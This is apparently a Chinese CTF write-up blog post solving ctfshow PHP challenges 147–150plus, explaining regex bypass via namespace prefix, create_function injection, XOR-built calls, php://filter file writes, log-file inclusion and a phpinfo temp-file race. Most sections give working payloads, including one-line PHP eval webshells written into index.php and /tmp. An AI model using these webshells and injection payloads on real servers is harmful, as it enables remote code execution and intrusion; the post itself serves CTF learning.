ctfshow学习记录-web入门(php特性147-150&150plus)

最近先不更web入门了,后期有时间了我会把web入门的wp搬到平台上。

近期我要去其他平台刷一刷web题~


web147

解答
正则匹配绕过,只要ctfshow里有一个不是数字、小写字母和下划线就能绕过。

/i:大小写不敏感匹配
/s:点号元字符匹配所有字符,包含换行符。
/D:元字符美元符号仅仅匹配目标字符串的末尾

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。
调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。

在这里插入图片描述

(详情可以看php手册里的命名空间部分)

所以post时ctf可以通过加上\绕过匹配。

找个不需要第一个参数的函数。可以用create_function匿名函数。虽然该函数自PHP 7.2起已经弃用,但是还是可以eval执行函数,只是需要把匿名部分闭合。

get?show=}system('tac f*');/*
postctf=%5ccreate_function
在这里插入图片描述

可以这么理解:create_function创建一个匿名函数,我们假设就叫niming。
string create_function( string $args, string $code)那么具体就是如下面所示的样子:

function niming($args,...){
		$code
}

所以就需要}闭合,闭合之后,那就多出来一个},这就需要用注释符注释掉。


web148

解答:正则匹配,执行code。根据题目,让$codeget_ctfshow_fl0g即可。还是利用上一组题,如web143的思路,用异或^构造。
(或者执行system函数都行)

payload?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();

查看源码获取flag。

在这里插入图片描述


web149

解答:可以写入文件,且当前目录下只能保留index.php。
那么就直接用伪协议把木马写入到index.php就可以了。
get?ctf=php://filter/write=convert.base64-decode/resource=index.php
postshow=PD9waHAgQGV2YWwoJF9QT1NUWydqeiddKTs/Pg==
在这里插入图片描述

然后蚁剑连接也行,直接post也可。
在这里插入图片描述


web150

解答:post的ctf只是限制了不能有冒号,别的并没有被过滤include($ctf),可以进行日志包含。

因为$key有过滤字符,所以我们可以通过User-Agent传递木马信息。
在这里插入图片描述

然后通过extract变量覆盖,满足isVip是true的条件限制。

get?isVIP=true
postctf=/var/log/nginx/access.log&1=system('tac f*');
在这里插入图片描述


web150plus

解答:php中变量名的点和空格会被转换成下划线。

payload?..CTFSHOW..=phpinfo
原题说是需要条件竞争,所以flag改为了环境变量。phpinfo后查找即可获得。

在这里插入图片描述

这道题可以联系到web123。那道题里用的是CTF[SHOW.COM解析为CTF_SHOW.COM,是说对不符合规则的变量里只转换一次,变量名中的[也会被替换为_,但其后面的点.就不再进行替换了。

接下来学习一下原题的思路:(不过没做过原题,也不确定思路是不是这个)

文件包含,在临时文件消失前包含它。

利用phpinfo(具体看一下“进一步学习”的三个链接,特别是第一个链接)。

(说实话原题被删减有点遗憾,但是完全理解,我后续再找题或者搭建平台测试吧)

phpinfo会打印上传临时文件的路径,包含临时文件就可以getshell。

先发送数据包给phpinfo页面,从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。临时文件在第一个请求phpinfo页面渲染加载完毕后会被删除。也就是说如果第一个请求结束,临时文件被删,第二个请求就无法进行包含了。

1)我们需要让phpinfo页面加载的慢一点。

phpinfo页面会将我们post的数据包里的header、get等信息都打印出来,所以我们要把这个数据包的header、get等位置塞满垃圾数据,加大phpinfo加载时间。

php发送数据是分包发送,默认的输出缓冲区大小为4096,即php每次返回4096个字节给socket连接。那么不管返回的信息是第几次,只要读取到的字符里包含临时文件名,就立即发送第二个数据包进行文件包含。

2)此时,发送的第一个数据包的socket连接还没结束,php还在继续每次输出4096个字节,临时文件还没有被删除。这时利用文件包含漏洞就可以成功包含临时文件getshell。

因为这个临时文件终归还是会被删除,所以直接上传是写一句话木马不可行,需要利用短暂的包含写入文件,将一句话木马写到如/tmp/jz,这样就不会被删除了。

<?php file_put_contents('/tmp/jz', '<?php @eval($_REQUEST[jz]);?>');?>

进一步学习

PHP文件包含漏洞(利用phpinfo)(先看这个,原理详细还有exp)

phpinfo函数_文件包含之通过phpinfo去Getshell@weixin_39528994

文件包含&奇技淫巧@mob604756ebed9f

System:提供服务器所在的操作系统的信息。
$_SERVER['SERVER_ADDR']:真实ip
$_SERVER["CONTEXT_DOCUMENT_ROOT"]:网站根目录
disable_functions:禁用函数
$_FILES:临时文件路径

向phpinfo页面post恶意代码,可以在$_FILES中看到上传的临时文件,如果该网站存在文件包含漏洞,便可以将恶意代码存储我们已知的绝对路径去包含它getshell。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值